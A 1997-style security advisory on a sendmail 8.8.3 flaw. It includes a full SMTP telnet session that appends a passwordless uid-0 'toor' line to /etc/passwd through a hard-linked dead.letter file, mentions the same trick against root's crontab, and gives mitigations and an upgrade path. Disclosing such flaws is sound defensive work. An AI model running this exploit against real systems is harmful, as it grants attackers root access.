COMMAND

    sendmail

SYSTEMS AFFECTED

    Systems running sendmail 8.8.3, 8.8.4(?)

PROBLEM

    C0WZ1LL  reported  following  vulnerability.   Make  hard  link of
    /etc/passwd to /var/tmp/dead.letter Telnet  to port 25, send  mail
    from some  bad email  address to  some unreacheable  hoost.  Watch
    your message get appended to passwd.  Exploit follows:

        % telnet 0 25
        Trying 0.0.0.0...
        Connected to 0.
        Escape character is '^]'.
        220 myhost ESMTP Sendmail 8.8.3/8.6.12; Mon, 24 Mar 1997 20:39:07 -0500 (EST)
        helo localhost
        250-myhost Hello localhost [127.0.0.1], pleased to meet you
        250-8BITMIME
        250-SIZE
        250-DSN
        250-ONEX
        250-ETRN
        250-XUSR
        250 HELP
        mail from: ljubozat
        250 ljubozat... Sender ok
        rcpt to: blabla@no-such-host.net
        250 blabla@no-such-host.net... Recipient ok
        data
        354 Enter mail, end with "." on a line by itself
        toor::0:0:Toor de Root:/:/bin/ksh

    This won't work  on big boxes  that are partitioned  cause you can
    only do a  hard link on  the same file  system.  Another  point is
    that any box that has a 'MAILER-DAEMON' defined will get any  mail
    that   gets   sent   there   instead   of   it   saving   it    to
    /var/tmp/dead.letter, ie, make  an /etc/aliases file  that defines
    a MAILER-DAEMON. For instance, Gonzo Granzeau add these two to his
    /etc/aliases:

        MAILER-DAEMON:gonzo
        postmaster:gonzo

    Then you just type 'newaliases' and you're good to go  (postmaster
    is a general good idea). Course  then you have to deal with  ppl's
    messed up mail...

    Be   aware   that   sometimes,   sendmail   can't   send  mail  to
    MAILER-DAEMON.   In   these  case,  the   message  is  stored   in
    /var/tmp/dead.letter.  Claude Scarpelli have seen it appear in the
    following configuration:

    1) sendmail  on  the  best  MX  host is configured to refuse  mail
       bigger than x bytes.

    2) sendmail on a  lower priority MX host  is configured as a  null
       client (FEATURE(nullclient)), but without the size limit.

    3) a  big mail  (bigger than  x bytes)  arrives on  the host where
       sendmail is configured  as a null  client (the low  priority MX
       host).

    Here is what happens then:

    4) the null client  tries to pass the  mail to the best  MX, which
       refuse it (bigger than x bytes)

    5) So  the  null  client  tries  to  bounce  back the mail to  the
       originator. Since  it  is a null client,  it sends the mail  to
       the best MX host.

    6) But the best  MX host refuses the  mail (bigger than x  bytes).
       So  the   null  client   tries  to   send  a   notification  to
       MAILER-DAEMON.  Since it is  a null client, it sends  this mail
       to the  best MX  host, which  refuse it  (bigger than x bytes).
       This a case where sendmail will write to /var/tmp/dead.letter.

    Let's say something  about hard links  and problems with  separate
    partions and/or drives.   This is why   Good Little  Sysadmins(tm)
    have  /,  /var,  /tmp,  /usr,  etc.  on separate partitions and/or
    drives.  But  as  Illuminati  Primus  said,  the  problem is, Good
    Little Sysadmins(tm) would still be compromised due the fact  that
    cron jobs  are usually  stored in  /var/spool/cron.   Hacker would
    still be able  to append to  root's crontab and  get root. Now  if
    /var/tmp was  on a  separate partition  along with  /tmp, then the
    Good Little Sysadmins(tm) would be  saved. Even better would be  a
    +securehlink mount option. This would solve many problems  related
    to hard  links to  files owned  by other  users (gzip, pine, quota
    rips offs, saving buggy suid root sendmails, etc).

SOLUTION

    Create a file  /var/tmp/dead.letter with chmod  0644 perms.   That
    way no one  can make the  hard link to  /etc/passwd, b/c the  file
    /var/tmp/dead.letter  already  exists.  That  would help out cause
    you could see who was trying  to break into your system, but  that
    is not an agreeable solution.  Since this does not compomise  your
    system if  you're running  sendmail 8.8.5,  now it's  time to make
    upgrade.